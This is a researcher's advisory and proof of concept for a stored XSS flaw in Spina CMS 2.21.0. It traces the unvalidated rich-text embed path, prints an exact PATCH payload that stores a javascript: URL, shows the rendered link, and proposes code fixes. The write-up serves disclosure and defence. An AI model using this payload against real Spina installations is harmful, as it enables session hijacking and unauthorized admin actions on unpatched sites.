
Proof-of-concept and technical write-up for CVE-2026-117182, an authenticated stored XSS in Spina CMS 2.21.0 via SafeUrlValidator bypass on the rich-text render path.
Spina CMS v2.21.0 allows an authenticated staff user to perform Stored Cross-Site Scripting (XSS) on the public site. Spina::SafeUrlValidator (introduced in PR #1448) only runs when an embed is saved through the admin embed form. However, rich text content is saved via the page edit form (Spina::Parts::Text), which does not trigger this validation.
When a page renders, the embed is rebuilt from stored HTML/JSON by Spina::Embeddable.from_json, which performs no validation, and is then output via link_to button.url. Because the entire document is wrapped in a SafeBuffer by RichTextPresenter#to_s, a javascript: URL stored in the rich text bypasses validation and becomes a live href, leading to script execution in the origin of the public site.
Impact: An attacker with an authenticated CMS account can inject a payload that executes when an unauthenticated visitor or a logged-in administrator views the public page. This can lead to session hijacking, CSRF token extraction, and unauthorized authenticated actions on behalf of an admin.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-117182 |
| Official Record | cve.org/CVERecord?id=CVE-2026-117182 |
| Affected Version | Spina CMS (Ruby gem) <= 2.21.0 |
| Vulnerability Type | CWE-79: Cross-Site Scripting (Stored XSS) |
| Attack Vector | Network |
| Privileges Required | Low (Requires an authenticated CMS account) |
| Affected Component | Spina::RichTextPresenter, Spina::Embeddable.from_json, Spina::Admin::PagesController#page_params, app/views/spina/embeds/buttons/_button.html.erb |
| Original Report | SpinaCMS/Spina#1452 |
| File Path | Description |
|---|---|
app/presenters/spina/rich_text_presenter.rb | Wraps the entire document in a SafeBuffer without sanitization. |
lib/spina/embeddable.rb | Rebuilds embed from JSON without validating the URL scheme. |
app/controllers/spina/admin/pages_controller.rb | Permits all params (permit!), bypassing model-level validation on the rich text path. |
app/views/spina/embeds/buttons/_button.html.erb | Outputs link_to button.url directly to the public site. |
Path 1: Embed Form (Validated) The embed form builds the object through the model, triggering the validator.
# app/controllers/spina/admin/embeds_controller.rb:9
@embeddable = Spina::Embeds.constantize(embed_type).new(embed_params)
# app/models/spina/embeds/button.rb:7-8
validates :url, :label, presence: true
Path 2: Rich Text (Unvalidated) Rich text content is saved directly through the page params and rendered later without validation.
# app/controllers/spina/admin/pages_controller.rb
def page_params
params.require(:page).permit!
end
# lib/spina/embeddable.rb:11-18, reached from rich_text_presenter.rb:37
def from_json(json)
attributes = JSON.parse(json)
attributes.transform_keys!(&:to_sym)
new(attributes)
rescue
Rails.logger.error "[#{self.class.name}] Couldn't parse JSON"
nil
end
The sink where the unsanitized URL is rendered:
<%# app/views/spina/embeds/buttons/_button.html.erb %>
<%= link_to button.url do %>
<%= button.label %>
<% end %>
Contributing factor: RichTextPresenter#to_s wraps the entire document in an ActiveSupport::SafeBuffer, meaning anything that isn't an embed <figure> is passed through untouched.
Spina::Embeds::Button.new(
url: "javascript:void(document.title=String.fromCharCode(88))",
label: "Click me"
).valid?
# => false, "Url must be a relative path or start with http://, https://, mailto: or tel:"
Send a PATCH /admin/pages/1 request with a normal CSRF token, storing the following HTML as the content of any Spina::Parts::Text part on a published page:
<figure data-trix-content-type="application/vnd+spina.embed+html">
<spina-embed data-embed-type="Spina::Embeds::Button"
data-embed-attributes='{"url":"javascript:void(document.title=String.fromCharCode(88))","label":"Click me"}'>
</spina-embed>
</figure>
Navigate to GET / (logged out). The page returns:
<a href="javascript:void(document.title=String.fromCharCode(88))">Click me</a>
A real user click (using a trusted input event, not element.click()) executes the payload. Because it runs on the site's own origin, a fetch() request from the public page will carry the visitor's session cookie, enabling the attacker to read /admin/users and perform authenticated writes.
sanitize() call in actions_component.html.erb). The rich text render path has never been sanitized.Embeddable.from_jsonThe smallest change is to re-apply the URL policy right where attributes are read from the stored JSON.
def from_json(json)
attributes = JSON.parse(json)
attributes.transform_keys!(&:to_sym)
# Validate URL if present
if attributes[:url] && !SafeUrlValidator.new.safe?(attributes[:url])
return nil
end
new(attributes)
rescue
# ...
end
RichTextPresenterSanitizing on the way out in RichTextPresenter would deal with the SafeBuffer problem, but requires extending the allowlist with figure, spina-embed, and their data-embed-* attributes so existing embeds continue to render.
| Date | Event |
|---|---|
| 2026-10-18 | Issue #1452 reported to SpinaCMS repository |
| 2026-10-30 | Official CVE record published on cve.org |
| — | Awaiting maintainer response on fix |
This write-up is provided for educational and defensive purposes only. All testing was performed on a locally hosted instance owned by the author. Do not use these techniques against systems without explicit written authorization.
Primandito Adi Setiya